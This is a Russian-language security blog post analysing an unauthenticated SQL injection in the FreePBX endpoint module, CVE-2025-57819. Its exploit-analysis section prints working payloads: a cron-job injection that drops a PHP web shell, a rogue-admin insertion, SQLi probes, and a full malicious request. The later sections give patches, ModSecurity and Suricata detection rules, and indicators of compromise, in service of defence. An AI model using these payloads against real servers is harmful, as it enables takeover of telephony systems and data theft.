Уязвимость в FreePBX
Уязвимость в FreePBX
Категория: Программы Теги: Уязвимости Опубликовано: 12 сентября 2025

Уязвимость BDU:2025-10524 (CVE-2025-57819) FreePBX

Уязвимость BDU:2025-10524 (CVE-2025-57819) представляет собой критическую проблему безопасности в модуле endpoint системы управления IP-телефонией FreePBX. Эта уязвимость позволяет удаленному злоумышленнику без аутентификации получить доступ к административному интерфейсу, манипулировать базой данных и выполнять произвольный код на сервере. Уязвимость затрагивает версии FreePBX 15.0.0–15.0.65, 16.0.0–16.0.88 и 17.0.0–17.0.2. Патчи доступны в версиях 15.0.66, 16.0.89 и 17.0.3.

Анализ уязвимости

Уровень опасности: 10.0 (Критический)
Вектор атаки: 

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

  • AV:N (Вектор атаки: Сеть) - Атака может быть выполнена удаленно через сеть.

  • AC:L (Сложность атаки: Низкая) - Для эксплуатации не требуются специальные условия или сложные манипуляции.

  • AT:N (Требования к атаке: Отсутствуют) - Атака не зависит от каких-либо изменений в конфигурации или поведении пользователя.

  • PR:N (Уровень привилегий: Не требуются) - Атака возможна без аутентификации или привилегий.

  • UI:N (Вовлечение пользователя: Не требуется) - Атака не требует взаимодействия с пользователем.

  • VC:H (Влияние на конфиденциальность: Высокое) - Утечка критически важной информации, такой как базы данных и системные файлы.

  • VI:H (Влияние на целостность: Высокое) - Возможность полного изменения данных и настроек системы.

  • VA:H (Влияние на доступность: Высокое) - Возможность нарушения работы системы, включая остановку услуг.

  • SC:H (Влияние на конфиденциальность вторичных ресурсов: Высокое) - Компрометация данных, затрагивающая другие системы.

  • SI:H (Влияние на целостность вторичных ресурсов: Высокое) - Возможность изменения данных в смежных системах.

  • SA:H (Влияние на доступность вторичных ресурсов: Высокое) - Нарушение работы зависимых сервисов.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо, чтобы панель управления FreePBX была доступна из интернета или из сети, где может находиться злоумышленник. Системы, которые не имеют модуля endpoint или не подвержены воздействию извне, находятся в меньшей опасности. Однако, учитывая, что многие организации размещают свои PBX-системы в облаке или предоставляют удаленный доступ, риск существенно возрастает.

Уязвимость существует в модуле endpoint, который является коммерческим дополнением к FreePBX. Проблема возникает из-за недостаточной санитизации пользовательского ввода в параметрах HTTP-запросов к скрипту /admin/ajax.php. Это позволяет провести SQL-инъекцию, которая приводит к обходу аутентификации и выполнению произвольных SQL-команд.

Анализ кода эксплоитов

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости. Вредоносные запросы направляются на эндпоинт /admin/ajax.php с параметрами modulecommandtemplatemodel и brand. Именно параметр brand подвержен инъекции, что позволяет злоумышленнику внедрять произвольный SQL-код.

Анализ первого эксплоита (watchTowr)

Основная нагрузка эксплоита заключается в создании вредоносной записи в таблице cron_jobs:

payload_rce = '?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x\' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (\'sysadmin\',\'watchTowr-%s\',\'echo "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%%2bCg=="|base64 -d >/var/www/html/this-is-an-ioc-not-actually-watchTowr-%s.php\',NULL,\'* * * * *\',30,1,1) -- ' % (suffix, suffix)

Разберем этот код по частям:

  1. Базовый URL/admin/ajax.php - целевой скрипт

  2. Параметры:

    • module=FreePBX\\modules\\endpoint\\ajax - указывает на уязвимый модуль

    • command=model&template=x&model=model - стандартные параметры вызова

    • brand=x' - начало инъекции, разрывающей SQL-запрос

  3. SQL-инъекция: После разрыва строки следует вредоносный SQL-код:

    INSERT INTO cron_jobs (modulename, jobname, command, schedule, max_runtime, enabled, execution_order) 
    VALUES ('sysadmin', 'watchTowr-[RANDOM]', 'echo "BASE64_PAYLOAD"|base64 -d >/var/www/html/shell-[RANDOM].php', '* * * * *', 30, 1, 1)
  4. Полезная нагрузка: Закодированная в base64 строка PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg== декодируется в:

    <?php system($_GET['cmd']); ?>

Это создает веб-шелл на сервере, доступный по URL /this-is-an-ioc-not-actually-watchTowr-[RANDOM].php?cmd=[COMMAND].

Пример вредоносного HTTP-запроса:

GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','watchTowr-a1b2c3d4e5','echo "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg=="|base64 -d >/var/www/html/shell-a1b2c3d4e5.php',NULL,'* * * * *',30,1,1)-- HTTP/1.1
Host: vulnerable.target
User-Agent: Mozilla/5.0
Accept: */*

Если создание веб-шелла через cron не удается, эксплоит переходит к альтернативному методу - добавлению пользователя через прямое внесение записи в таблицу ampusers:

payload_user = '?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x\' ;INSERT INTO ampusers(username, email, extension,password_sha1, extension_low, extension_high, deptname, sections) VALUES (\'watchTowr%s\' ,\'\' ,\'\' ,\'%s\' ,\'\' ,\'\' ,\'\' ,\'*\') -- ' % (suffix, passwd_hash)

Это создает нового пользователя с правами администратора (благодаря секции '*'), что позволяет злоумышленнику войти в систему с новыми учетными данными.

Анализ второго эксплоита (blueisbeautiful)

Второй эксплоит использует более комплексный подход, начиная с обнаружения уязвимости через временные задержки:

# Time-based detection payloads
payloads = [
    "username=test' OR SLEEP(5)-- &password=test&loginpanel=admin",
    "username=test' AND SLEEP(5)-- &password=test&loginpanel=admin",
    "username=test' UNION SELECT SLEEP(5)-- &password=test&loginpanel=admin"
]

Эти полезные нагрузки проверяют наличие SQL-инъекции, измеряя время ответа сервера. Если сервер задерживает ответ на 5 секунд, это указывает на успешную инъекцию.

После подтверждения уязвимости эксплоит пытается извлечь информацию о базе данных:

info_payloads = [
    "username=test' UNION SELECT VERSION(),USER(),DATABASE()-- &password=test&loginpanel=admin",
    "username=test' UNION SELECT 1,VERSION(),3-- &password=test&loginpanel=admin"
]

Затем эксплоит пытается загрузить веб-шелл через оператор INTO OUTFILE:

payload = f"username=test' UNION SELECT '{webshell}' INTO OUTFILE '{path}'-- &password=test&loginpanel=admin"

Этот метод пытается записать PHP-код непосредственно в файл на сервере, что позволяет выполнять произвольные команды.

Методы защиты

1. Установка обновлений

Самым эффективным способом защиты является обновление модуля endpoint до версий 15.0.66, 16.0.89 или 17.0.3 в зависимости от используемой версии FreePBX. Обновление можно выполнить через панель управления или командой.

2. Ограничение доступа к панели управления

Необходимо ограничить доступ к административному интерфейсу FreePBX только доверенным IP-адресам. Это можно сделать с помощью фаервола на самом сервере или на сетевом уровне.

3. Использование WAF/IPS

Для обнаружения и блокирования атак можно использовать WAF (Web Application Firewall) или IPS (Intrusion Prevention System). Правила должны быть размещены перед веб-сервером, обрабатывающим запросы к FreePBX. Это может быть отдельное устройство или программное решение на том же сервере.

Пример правил для ModSecurity:

SecRule REQUEST_URI "@streq /admin/ajax.php" \
    "id:1001,phase:2,log,deny,status:403,msg:'CVE-2025-57819 Exploit Attempt',\
    chain"
    SecRule ARGS:module "@rx endpoint" \
    "chain"
    SecRule ARGS:brand "@rx ['\\;]" \
    "t:urlDecode,setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"

Пример правил для Suricata:

alert http any any -> any any (msg:"CVE-2025-57819 FreePBX Exploit Attempt"; flow:established,to_server; http.uri; content:"/admin/ajax.php"; nocase; content:"module=FreePBX"; nocase; content:"brand="; nocase; pcre:"/brand=[^&]*[\x27|3B|]/i"; classtype:web-application-attack; sid:202557819; rev:1;)

Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).

Эти правила проверяют запросы к /admin/ajax.php на наличие инъекций в параметре brand.

4. Мониторинг и обнаружение вторжений

Регулярно проверяйте систему на наличие признаков компрометации:

  • Неизвестные файлы, такие как /var/www/html/.clean.sh или modular.php.

  • Подозрительные записи в логах веб-сервера.

  • Неизвестные пользователи в таблице ampusers базы данных.

Алексей Черемных Алексей Черемных
496